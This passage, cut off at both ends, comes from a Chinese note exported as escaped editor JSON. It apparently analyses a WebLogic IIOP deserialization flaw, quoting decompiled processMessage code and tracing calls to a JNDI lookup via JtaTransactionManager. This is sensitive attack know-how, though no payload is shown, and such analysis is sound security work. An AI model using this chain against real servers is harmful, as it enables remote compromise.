sAp-1682256048707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由processMessage处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7wva-1682256048802&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OPBM-1682256048710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TqZz-1682256048709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;final void processMessage(Message var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1LNR-1682256048712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xhmy-1682256048711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    switch (var1.getMsgType()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VmYa-1682256048714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NnEn-1682256048713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 0:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iWNf-1682256048716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GGyI-1682256048715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleIncomingRequest(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m2TQ-1682256048718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;doyF-1682256048717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6GJG-1682256048720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ovcu-1682256048719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LMJV-1682256048722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nGvK-1682256048721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.negotiatedRequestId &gt;= 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p6Aa-1682256048724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tdm0-1682256048723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                synchronized(this.bootstrapLock) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ghIO-1682256048726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bpzC-1682256048725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.negotiatedRequestId &gt;= 0 &amp;&amp; this.negotiatedRequestId == var1.getRequestID()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EFXi-1682256048728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Epg3-1682256048727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.setFlag(this.bootstrapFlags);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKCd-1682256048730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yZzv-1682256048729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.negotiatedRequestId = -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LNbc-1682256048732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vbK0-1682256048731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q8tc-1682256048734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TdO9-1682256048733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PXOu-1682256048736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C9Nw-1682256048735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MtYi-1682256048738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aOwk-1682256048737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WMDN-1682256048740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fVIu-1682256048739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleIncomingResponse(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;94lM-1682256048742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EfmT-1682256048741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DhDS-1682256048744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmDi-1682256048743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7zAE-1682256048746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Geyk-1682256048745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l57S-1682256048748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mFnW-1682256048747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSLC-1682256048750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o6zr-1682256048749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleLocateRequest(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rANe-1682256048752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0jqh-1682256048751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AqKO-1682256048754&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rQW0-1682256048753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 4:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FiXq-1682256048756&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ppqk-1682256048755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleLocateReply(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;txap-1682256048758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QZFj-1682256048757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oAG0-1682256048761&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RVyf-1682256048760&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z7B1-1682256048763&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ifc-1682256048762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleCloseConnection(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FVAT-1682256048765&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TYEd-1682256048764&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YHvQ-1682256048767&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qOaT-1682256048766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 6:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VwR6-1682256048769&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vaYy-1682256048768&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (Kernel.getDebug().getDebugIIOP()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tm1n-1682256048771&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ekhy-1682256048770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.p(\&#34;handling message error\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6GE9-1682256048773&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaL4-1682256048772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x4iY-1682256048775&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LdRq-1682256048774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;79cH-1682256048777&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JDDr-1682256048776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.handleMessageError(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QZVk-1682256048779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5fXw-1682256048778&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3M4d-1682256048781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AM52-1682256048780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 7:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S97z-1682256048783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjGD-1682256048782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.processFragment(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rN3Z-1682256048785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qlFt-1682256048784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P18O-1682256048787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v3It-1682256048786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iWKS-1682256048789&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lSCj-1682256048788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (Kernel.getDebug().getDebugIIOP()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lt8W-1682256048791&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VD1s-1682256048790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.p(\&#34;handling unknown message\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MUOd-1682256048793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FhOk-1682256048792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gtcz-1682256048795&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w3vt-1682256048794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4PXB-1682256048797&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;btuQ-1682256048796&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.gotExceptionReceiving(Utils.mapToCORBAException(new UnmarshalException(\&#34;Unkown message type: \&#34; + var1.getMsgType())));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MFNY-1682256048799&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NgQ8-1682256048798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ba9f-1682256048801&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9JlI-1682256048800&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;kotlin&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d3ka-1682256049085&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6696/WEBRESOURCEb636ed1908b771d6d0e4b943ab15e1be&#34;,&#34;width&#34;:2878,&#34;height&#34;:1726},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6696/WEBRESOURCEb636ed1908b771d6d0e4b943ab15e1be&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2878,&#34;height&#34;:1726},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a1Qa-1682256048805&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IMmx-1682256048804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终给到BasicServerRef，在其dispatch方法中，新起一个ExecuteRequest线程用于处理对应的request&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UZBT-1682256049086&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6697/WEBRESOURCE55b0d3baad5fbd15e6d1a17fb048fa52&#34;,&#34;width&#34;:2836,&#34;height&#34;:1792},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6697/WEBRESOURCE55b0d3baad5fbd15e6d1a17fb048fa52&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2836,&#34;height&#34;:1792},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BOA9-1682256049087&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6698/WEBRESOURCE0cab925e91b1ef490a41c840a03d1c1c&#34;,&#34;width&#34;:1984,&#34;height&#34;:722},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6698/WEBRESOURCE0cab925e91b1ef490a41c840a03d1c1c&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1984,&#34;height&#34;:722},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R447-1682256048809&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yV21-1682256048808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;IIOP协议部分的处理逻辑大概如上述。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9X7Q-1682256048811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uucA-1682256048810&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后续request处理部分，从BasicServerRef.invoke开始：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fRvj-1682256049088&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6699/WEBRESOURCEefaf2304ab7c761b490d4d1d10da6357&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6699/WEBRESOURCEefaf2304ab7c761b490d4d1d10da6357&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rWAG-1682256048814&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9LU4-1682256048813&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在_NamingContextAnyImplBase中，调用bind_any()之前将会先执行read_any()方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dTlf-1682256049089&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6700/WEBRESOURCE94e59bbdccbad04d837fab7dec0a04d3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6700/WEBRESOURCE94e59bbdccbad04d837fab7dec0a04d3&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HXhy-1682256048817&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aGHJ-1682256048816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟进之后发现其实也就是IIOPInputStream的readObject方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6T4Y-1682256049090&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6701/WEBRESOURCE9995b39d4f4611921265135156f24cbd&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6701/WEBRESOURCE9995b39d4f4611921265135156f24cbd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GNLv-1682256048820&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dapn-1682256048819&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;中间的调用过程很长，最终会调用到JtaTransactionManager的readObject方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lyUO-1682256049091&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6702/WEBRESOURCE195d02897dcaad8b1948d0d19962e939&#34;,&#34;width&#34;:2894,&#34;height&#34;:1784},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6702/WEBRESOURCE195d02897dcaad8b1948d0d19962e939&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2894,&#34;height&#34;:1784},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qxHa-1682256048823&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y7rY-1682256048822&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终通过：initUserTransactionAndTransactionManager()-&gt;initUserTransactionAndTransactionManager()-&gt;lookupUserTransaction()-&gt;getJndiTemplate.lookup()-&gt;ctx.lookup()触发JNDI：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWgG-1682256049092&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6703/WEBRESOURCE7683495d0110be47bf76eee0ffa49d9d&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6703/WEBRESOURCE7683495d0110be47bf76eee0ffa49d9d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O7CU-1682256049093&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6689/WEBRESOURCEd74e730fc08fd1a8ffd3b37ae3830f47&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6689/WEBRESOURCEd74e730fc08fd1a8ffd3b37ae3830f47&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Egje-1682256049094&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6690/WEBRESOURCEc3ac68ea079ede57bb6dba9f1acd9f32&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6690/WEBRESOURCEc3ac68ea079ede57bb